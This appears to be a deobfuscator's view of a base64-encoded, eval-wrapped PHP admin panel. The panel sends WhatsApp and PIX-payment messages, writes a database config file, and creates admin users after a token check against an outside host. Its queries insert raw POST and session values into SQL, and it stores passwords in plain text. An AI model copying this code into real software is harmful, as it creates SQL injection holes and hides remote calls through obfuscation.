CJwaG9uZVwiOiBcIjU1JyR0b2tlbl90ZWxlZm9uZSdcIiwgXCJtZXNzYWdlXCI6IFwiT2xhLCBcXG5TdWEgKmFwaSogZm9pIGNvbmZpZ3VyYWRhIGNvbSBzdWNlc3NvIVwifSIsCiAgICAgICAgQ1VSTE9QVF9IVFRQSEVBREVSID0+IGFycmF5KAogICAgICAgICJjbGllbnQtdG9rZW46ICR0b2tlbl9jb250YSIsCiAgICAgICAgImNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vanNvbiIKICAgICAgKSwKICAgICkpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjdXJsKTsKICAgICRlcnIgPSBjdXJsX2Vycm9yKCRjdXJsKTsKICAgIAogICAgY3VybF9jbG9zZSgkY3VybCk7CiAgICAKICAgIGlmICgkZXJyKSB7CiAgICB9IGVsc2UgewogICAgfSAKICAgIAogICAgJGN1cmxfaW1nID0gY3VybF9pbml0KCk7CiAgICAKICAgIGN1cmxfc2V0b3B0X2FycmF5KCRjdXJsX2ltZywgYXJyYXkoCiAgICAgIENVUkxPUFRfVVJMID0+ICJodHRwczovL2FwaS56LWFwaS5pby9pbnN0YW5jZXMvJGlkX3doYXRzYXBwL3Rva2VuLyR0b2tlbl93aGF0c2FwcC9zZW5kLWltYWdlIiwKICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiB0cnVlLAogICAgICBDVVJMT1BUX0VOQ09ESU5HID0+ICIiLAogICAgICBDVVJMT1BUX01BWFJFRElSUyA9PiAxMCwKICAgICAgQ1VSTE9QVF9USU1FT1VUID0+IDMwLAogICAgICBDVVJMT1BUX0hUVFBfVkVSU0lPTiA9PiBDVVJMX0hUVFBfVkVSU0lPTl8xXzEsCiAgICAgIENVUkxPUFRfQ1VTVE9NUkVRVUVTVCA9PiAiUE9TVCIsCiAgICAgIENVUkxPUFRfUE9TVEZJRUxEUyA9PiAie1wicGhvbmVcIjogXCI1NSckdG9rZW5fdGVsZWZvbmUnXCIsIFwiaW1hZ2VcIjogXCJodHRwczovL2kuaWJiLmNvL3pHNHc1UlEvcGl4LnBuZ1wifSIsIAogICAgICBDVVJMT1BUX0hUVFBIRUFERVIgPT4gYXJyYXkoCiAgICAgICAgImNsaWVudC10b2tlbjogJHRva2VuX2NvbnRhIiwKICAgICAgICAiY29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9qc29uIgogICAgICApLAogICAgKSk7CiAgICAKICAgICRyZXNwb25zZV9pbWcgPSBjdXJsX2V4ZWMoJGN1cmxfaW1nKTsKICAgICRlcnJfaW1nID0gY3VybF9lcnJvcigkY3VybF9pbWcpOwogICAgCiAgICBjdXJsX2Nsb3NlKCRjdXJsX2ltZyk7CiAgICAKICAgIGlmICgkZXJyX2ltZykgewogICAgICAKICAgIH0gZWxzZSB7CiAgICAgCiAgICB9IAp9ICAKICAgICRzcWxfc210cCA9ICJTRUxFQ1QgKiBGUk9NIGFwaV93aGF0c2FwcCB3aGVyZSB1c2VyID0nJHNlc3Npb25fYWRtaW4nIjsKICAgICRzcWxfc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkc3FsX3NtdHApOwogICAgJHNxbF9zbXRwID0gbXlzcWxpX251bV9yb3dzKCRzcWxfc210cCk7CiAgICBpZiAoJHNxbF9zbXRwID09IDApIHsKICAgICAgICAkcmVzdWx0X3NtdHAgPSAiSU5TRVJUIElOVE8gYXBpX3doYXRzYXBwIChhcGlfaWQsYXBpX3Rva2VuLCBhcGlfdG9rZW5fY29udGEsIG9uX29mZix1c2VyKSBWQUxVRVMgKCckaWRfd2hhdHNhcHAnLCckdG9rZW5fd2hhdHNhcHAnLCAnJHRva2VuX2NvbnRhJywgJyRhdGl2YXInLCckc2Vzc2lvbl9hZG1pbicpIjsKICAgICAgICAkcmVzdWx0YWRvX3NtdHAgPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF9zbXRwKTsKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1hcGlfd2hhdHNhcHAiKTsKICAgICAgICBleGl0KCk7CiAgICB9IGVsc2UgewogICAgCiAgICAgICAgJHJlc3VsdF9zbXRwID0gIlVQREFURSBhcGlfd2hhdHNhcHAgU0VUIGFwaV9pZD0nJGlkX3doYXRzYXBwJyxhcGlfdG9rZW49JyR0b2tlbl93aGF0c2FwcCcsIGFwaV90b2tlbl9jb250YT0nJHRva2VuX2NvbnRhJywgb25fb2ZmPSckYXRpdmFyJyBXSEVSRSB1c2VyPSckc2Vzc2lvbl9hZG1pbiciOwogICAgICAgICRyZXN1bHRhZG9fc210cCA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAkcmVzdWx0X3NtdHApOyAKICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi8/cGFnZT1hcGlfd2hhdHNhcHAjVVBEQVRFIik7CiAgICAgICAgZXhpdCgpOwogICAgfSAKCn0KCgoKaWYgKCRwYWdlID09ICJlZGl0YXItcGl4IikgeyAKICAgICAgICAkQ2hhdmVfcGl4ID0gJF9QT1NUWydwaXhfcG9zdCddOyAKCiAgICAgICAgJHJlc3VsdF91c3VhcmlvID0gIlVQREFURSBwcm9kdXRvIFNFVCBwcm9kdXRvX2NoYXZlcGl4ID0gJyRDaGF2ZV9waXgnIFdIRVJFIHVzZXIgPSAnJHNlc3Npb25fYWRtaW4nIjsKICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvKTsgCiAgICAgICAgaGVhZGVyKCJMb2NhdGlvbjogIC4uL2FkbWluLz9wYWdlPXByb2R1dG9zIik7IAogICAgICAgIGV4aXQ7IAp9CgppZiAoJHBhZ2UgPT0gImxvZ19pbiIpIHsKCXNlc3Npb25fc3RhcnQoKTsKCXNlc3Npb25fZGVzdHJveSgpOwoJc2Vzc2lvbl9zdGFydCgpOyAKCWhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocCIpOyAKfQoKaWYgKCRwYWdlID09PSAiaW5zdGFsbF9jb25uIikgewogICAgJGhvc3QgPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ2hvc3RkYicsIEZJTFRFUl9TQU5JVElaRV9TVFJJTkcpOwogICAgJHVzdWFyaW8gPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3VzZXJkYicsIEZJTFRFUl9TQU5JVElaRV9TVFJJTkcpOwogICAgJHNlbmhhID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICdzZW5oYWRiJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkZGF0YWJhc2VfQ29ubmVjdERCID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICduYW1lZGInLCBGSUxURVJfU0FOSVRJWkVfU1RSSU5HKTsKCiAgICBpZiAoJGhvc3QgIT09IG51bGwgJiYgJHVzdWFyaW8gIT09IG51bGwgJiYgJHNlbmhhICE9PSBudWxsICYmICRkYXRhYmFzZV9Db25uZWN0REIgIT09IG51bGwpIHsKICAgICAgICBpZiAobXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c3VhcmlvLCAkc2VuaGEsICRkYXRhYmFzZV9Db25uZWN0REIpKSB7CiAgICAgICAgICAgICRmb3BlbiA9IGZvcGVuKCIuL2Nvbm4ucGhwIiwgInciKTsKCiAgICAgICAgICAgICRjb250ZXVkbyA9ICI8P3BocApzZXNzaW9uX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnQW1lcmljYS9TYW9fUGF1bG8nKTsKXCRob3JhZGF0YSA9IGRhdGUoJ2QvbS9ZIEg6aScpOwoKXCRob3N0ID0gJyRob3N0JzsKXCR1c3VhcmlvID0gJyR1c3VhcmlvJzsKXCRzZW5oYSA9ICckc2VuaGEnOwpcJGRhdGFiYXNlX0Nvbm5lY3REQiA9ICckZGF0YWJhc2VfQ29ubmVjdERCJzsKClwkQ29ubmVjdERCID0gbXlzcWxpX2Nvbm5lY3QoXCRob3N0LCBcJHVzdWFyaW8sIFwkc2VuaGEsIFwkZGF0YWJhc2VfQ29ubmVjdERCKTsKbXlzcWxpX3NlbGVjdF9kYihcJENvbm5lY3REQiwgXCRkYXRhYmFzZV9Db25uZWN0REIpOwoKaWYgKCFcJENvbm5lY3REQikgewogICAgXCRtc2dlcnJvbXlzcWwgPSAnRmFsaGEgYW8gY29uZWN0YXItc2UgY29tIG8gYmFuY28gZGUgZGFkb3MgTXlTUUwuJzsKICAgIGV4aXQ7Cn0KXCRtc2dzdWNlc3NvbXlzcWwgPSAnQ29uZXhhbyBiZW0gc3VjZWRpZGEnOwoKaWYgKCFmdW5jdGlvbl9leGlzdHMoJ2dldElwJykpIHsKICAgIGZ1bmN0aW9uIGdldElwKCkKICAgIHsKICAgICAgICBmb3JlYWNoIChhcnJheSgKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfQ0xJRU5UX0lQJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfWF9GT1JXQVJERURfRk9SJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfWF9GT1JXQVJERUQnLAogICAgICAgICAgICAgICAgICAgICAnSFRUUF9YX0NMVVNURVJfQ0xJRU5UX0lQJywKICAgICAgICAgICAgICAgICAgICAgJ0hUVFBfRk9SV0FSREVEX0ZPUicsCiAgICAgICAgICAgICAgICAgICAgICdIVFRQX0ZPUldBUkRFRCcsCiAgICAgICAgICAgICAgICAgICAgICdSRU1PVEVfQUREUicKICAgICAgICAgICAgICAgICApIGFzIFwka2V5KSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKFwka2V5LCBcJF9TRVJWRVIpID09PSB0cnVlKSB7CiAgICAgICAgICAgICAgICBmb3JlYWNoIChleHBsb2RlKCcsJywgXCRfU0VSVkVSW1wka2V5XSkgYXMgXCRJUGFkZHJlc3MpIHsKICAgICAgICAgICAgICAgICAgICBcJElQYWRkcmVzcyA9IHRyaW0oXCRJUGFkZHJlc3MpOwogICAgICAgICAgICAgICAgICAgIGlmIChmaWx0ZXJfdmFyKFwkSVBhZGRyZXNzLCBGSUxURVJfVkFMSURBVEVfSVAsIEZJTFRFUl9GTEFHX05PX1BSSVZfUkFOR0UgfCBGSUxURVJfRkxBR19OT19SRVNfUkFOR0UpICE9PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gXCRJUGFkZHJlc3M7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9IAoKZnVuY3Rpb24gT2J0ZXJfU08oKQp7CiAgICBcJHNpc3RlbWFzX29wZXJhdGl2b3MgPSBbCiAgICAgICAgJ3dpbmRvd3MgbnQgNS4yJyA9PiAnV2luZG93cyAyMDAzJywKICAgICAgICAnd2luZG93cyBudCA2LjAnID0+ICdXaW5kb3dzIFZpc3RhJywKICAgICAgICAnd2luZG93cyBudCA2LjEnID0+ICdXaW5kb3dzIDcnLAogICAgICAgIC8vIC4uLiBvdXRyYXMgcGxhdGFmb3JtYXMKICAgICAgICAnUFBDJyA9PiAnTWFjIFBQQycKICAgIF07CgogICAgaWYgKGlzX2FycmF5KFwkc2lzdGVtYXNfb3BlcmF0aXZvcykpIHsKICAgICAgICBmb3JlYWNoIChcJHNpc3RlbWFzX29wZXJhdGl2b3MgYXMgXCR1YSA9PiBcJHNpc3RlbWFzX29wZXJhdGl2bykgewogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnfCcgLiBwcmVnX3F1b3RlKFwkdWEpIC4gJ3xpJywgdHJpbShcJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBcJF9TRVNTSU9OWydvcCddID0gXCRzaXN0ZW1hc19vcGVyYXRpdm87CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9IAp9Ck9idGVyX1NPKCk7CgpcJGZ1bmN0aW9uaXAgPSBnZXRJcCgpOwpcJGlwID0gXCRmdW5jdGlvbmlwID09ICcnID8gXCRfU0VSVkVSWydSRU1PVEVfQUREUiddIDogXCRmdW5jdGlvbmlwOwo/PiI7CgogICAgICAgICAgICBmd3JpdGUoJGZvcGVuLCAkY29udGV1ZG8pOwogICAgICAgICAgICBmY2xvc2UoJGZvcGVuKTsKCiAgICAgICAgICAgICRmaWxlID0gZmlsZSgnLi4vYWRtaW4vZGlzdC9kYi5zcWwnKTsKCiAgICAgICAgICAgICRUZW1wQ29uZWN0ID0gbXlzcWxpX2Nvbm5lY3QoJGhvc3QsICR1c3VhcmlvLCAkc2VuaGEsICRkYXRhYmFzZV9Db25uZWN0REIpOwoKICAgICAgICAgICAgJGNvbnRhZG9yID0gY291bnQoJGZpbGUpOwogICAgICAgICAgICAkaSA9IDE7CgogICAgICAgICAgICAkaW4gPSBpbXBsb2RlKCRmaWxlKTsKCiAgICAgICAgICAgICRleCA9IGV4cGxvZGUoJzsnLCAkaW4pOwoKICAgICAgICAgICAgd2hpbGUgKCRjb250YWRvciA+ICRpKSB7CiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJGV4WyRpXSkpIHsKICAgICAgICAgICAgICAgICAgICAkY24gPSAkZXhbJGldOwoKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRjbiwgJ0NSRUFURSBUQUJMRScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG15c3FsaV9xdWVyeSgkVGVtcENvbmVjdCwgJGNuKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkY24sICdJTlRPJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgbXlzcWxpX3F1ZXJ5KCRUZW1wQ29uZWN0LCAkY24pOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRpKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9jYWRhc3Rybz1ub3ZvdXNlciIpOwogICAgICAgICAgICBleGl0OwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm82JmNhZGFzdHJvPWluc3RhbGwiKTsKICAgICAgICAgICAgZXhpdDsKICAgICAgICB9CiAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm83JmNhZGFzdHJvPWluc3RhbGwiKTsKICAgICAgICBleGl0OwogICAgfQp9CgoKaWYgKCRwYWdlID09ICdjcmlhcnVzZXInKSB7CgogICAKICAgICR1c3VhcmlvID0gZmlsdGVyX2lucHV0KElOUFVUX1BPU1QsICd1c3VhcmlvJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkc2VuaGEgPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3NlbmhhJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CiAgICAkdG9rZW4gPSBmaWx0ZXJfaW5wdXQoSU5QVVRfUE9TVCwgJ3Rva2VuJywgRklMVEVSX1NBTklUSVpFX1NUUklORyk7CgogICAgJHNxbCA9ICJTRUxFQ1QgKiBGUk9NIGFkbWluX3VzZXIgd2hlcmUgdXNlciA9ICckdXN1YXJpbyciOwogICAgJHF1ZXJ5ID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRzcWwpOwogICAgJHRvdGFsID0gbXlzcWxpX251bV9yb3dzKCRxdWVyeSk7CiAgICAKICAgCiAgICBmdW5jdGlvbiBtYWtlQ3VybFJlcXVlc3QoJHVybCwgJHRva2VuKSB7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjA7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENocm9tZS84MC4wLjM5ODcuMTQ5IFNhZmFyaS81MzcuMzYnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoCiAgICAgICAgICAgICdVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXT1c2NDsgVHJpZGVudC83LjA7IHJ2OjExLjApIGxpa2UgR2Vja28nLAogICAgICAgICAgICAnUHJhZ21hOiBuby1jYWNoZScsCiAgICAgICAgICAgICdBY2NlcHQ6ICovKicKICAgICAgICApKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCBnZXRjd2QoKSAuICcvY29va2llLnR4dCcpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCBnZXRjd2QoKSAuICcvY29va2llMS50eHQnKTsKICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOwogICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsICd0b2trZW49JyAuICR0b2tlbik7CiAgICAgICAgcmV0dXJuIGN1cmxfZXhlYygkY2gpOwogICAgICB9CiAgICAgIAogICAgICBmdW5jdGlvbiBleHRyYWN0SW5mb3JtYXRpb24oJGxpbmRvLCAkdGFnKSB7CiAgICAgICAgJHRhZzEgPSBleHBsb2RlKCIkdGFnIiwgJGxpbmRvKTsKICAgICAgICBpZiAoaXNzZXQoJHRhZzFbMV0pKSB7CiAgICAgICAgICAgICR0YWcyID0gZXhwbG9kZSgnPGJyPicsICR0YWcxWzFdKTsKICAgICAgICAgICAgcmV0dXJuIGFkZHNsYXNoZXMoJHRhZzJbMF0pOwogICAgICAgIH0KICAgICAgICByZXR1cm4gbnVsbDsKICAgICAgfQogICAgICAKICAgICAgJFVSTF9BVFVBTCA9ICJodHRwOi8vJF9TRVJWRVJbSFRUUF9IT1NUXSI7CiAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FtZXJpY2EvU2FvX1BhdWxvJyk7IAogICAgICAkbGluZG8gPSBtYWtlQ3VybFJlcXVlc3QoJ2h0dHBzOi8vZGFya3NlcnZlci5zaXRlL3Rva2tlbi90b2trZW4ucGhwJywgJHRva2VuKTsgCiAgICAgICRleGlzdGUgPSBleHRyYWN0SW5mb3JtYXRpb24oJGxpbmRvLCAnRXhpc3RlOiAnKTsKICAgICAgJHZhbGlkYWRlID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0V4cGlyYTogJyk7IAogICAgICAkYWNlc3NvID0gZXh0cmFjdEluZm9ybWF0aW9uKCRsaW5kbywgJ0FjZXNzbzogJyk7IAogICAgIAogICAgIC8vIFZlcmlmaWNhIHNlIGEgZGF0YSBkZSB2YWxpZGFkZSBqw6EgcGFzc291IChkYXRhIGF0dWFsID4gZGF0YSBkZSB2YWxpZGFkZSkKICAgICBpZiAoIWVtcHR5KCR2YWxpZGFkZSkpIHsKICAgICAgICAgJGRhdGFBdHVhbCA9IG5ldyBEYXRlVGltZSgpOwogICAgICAgICAkZGF0YVZhbGlkYWRlID0gbmV3IERhdGVUaW1lKCR2YWxpZGFkZSk7CiAgICAgCiAgICAgICAgIGlmICgkZGF0YUF0dWFsID4gJGRhdGFWYWxpZGFkZSkgewogICAgICAgICAgICBoZWFkZXIoIkxvY2F0aW9uOiAuLi9hZG1pbi9sb2dpbi5waHA/bG9raT1lcnJvMyIpOyAKICAgICAgICAgICAgZXhpdDsKICAgICAgICAgfSAKICAgICB9IGVsc2UgewogICAgICAgICBlY2hvICJBIGRhdGEgZGUgdmFsaWRhZGUgbsOjbyBmb2kgZGVmaW5pZGEuIjsKICAgICB9CiAgICAgLy8gVmVyaWZpY2Egc2UgbyBhY2Vzc28gZXN0w6EgbGliZXJhZG8KICAgICBpZiAoJGFjZXNzbyA9PT0gJ2xpYmVyYWRvJykgeyAKICAgICB9IGVsc2UgewogICAgICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocD9sb2tpPWVycm80Iik7IAogICAgIH0gCiAgICAKICAgCiAgICAgJHJlc3VsdGFkbyA9IG15c3FsaV9xdWVyeSgkQ29ubmVjdERCLCAiU0VMRUNUIENPVU5UKCopIEFTIHRvdGFsIEZST00gYWRtaW5fdXNlciBXSEVSRSB1c2VyID0gJyR1c3VhcmlvJyIpOwogICAgICRyb3cgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdGFkbyk7CiAgICAgCiAgICAgaWYgKCRyb3dbJ3RvdGFsJ10gPiAwKSB7CiAgICAgICAgIC8vIE8gdXN1w6FyaW8gasOhIGV4aXN0ZSwgZW50w6NvIHZhbW9zIGF0dWFsaXphciBvcyBkYWRvcwogICAgICAgICAkcmVzdWx0X3VzdWFyaW8xID0gIlVQREFURSBhZG1pbl91c2VyIFNFVCBwYXNzID0gJyRzZW5oYScsIHRva2VuID0gJyR0b2tlbicgV0hFUkUgdXNlciA9ICckdXN1YXJpbyciOwogICAgICAgICAkcmVzdWx0YWRvX3VzdWFyaW8gPSBteXNxbGlfcXVlcnkoJENvbm5lY3REQiwgJHJlc3VsdF91c3VhcmlvMSk7CiAgICAgICAgIAogICAgIH0gZWxzZSB7CiAgICAgICAgIC8vIE8gdXN1w6FyaW8gbsOjbyBleGlzdGUsIGVudMOjbyB2YW1vcyBpbnNlcmlyIHVtIG5vdm8gcmVnaXN0cm8KICAgICAgICAgJHJlc3VsdF91c3VhcmlvMiA9ICJJTlNFUlQgSU5UTyBhZG1pbl91c2VyICh1c2VyLCBwYXNzLCB0b2tlbiwgdmFsaWRhZGVfdG9rZW4sIGxhc3RfYWNlc3MgLGlwKSBWQUxVRVMgKCckdXN1YXJpbycsICckc2VuaGEnLCAnJHRva2VuJywnJHZhbGlkYWRlJywgJyRob3JhZGF0YScsJyRpcCcpIjsKICAgICAgICAgJHJlc3VsdGFkb191c3VhcmlvID0gbXlzcWxpX3F1ZXJ5KCRDb25uZWN0REIsICRyZXN1bHRfdXN1YXJpbzIpOyAKICAgICB9CiAgICAgCgogICAgIGhlYWRlcigiTG9jYXRpb246IC4uL2FkbWluL2xvZ2luLnBocCIpOwp9"));//Generated by Ampare PHP Encoder. For more security please use php protect before encode the php program

Function Calls

base64_decode 1

Variables

None

Stats

MD5 bfa2149724c7f5ebe3b00cfbcbb0e0b8
Eval Count 1
Decode Time 167 ms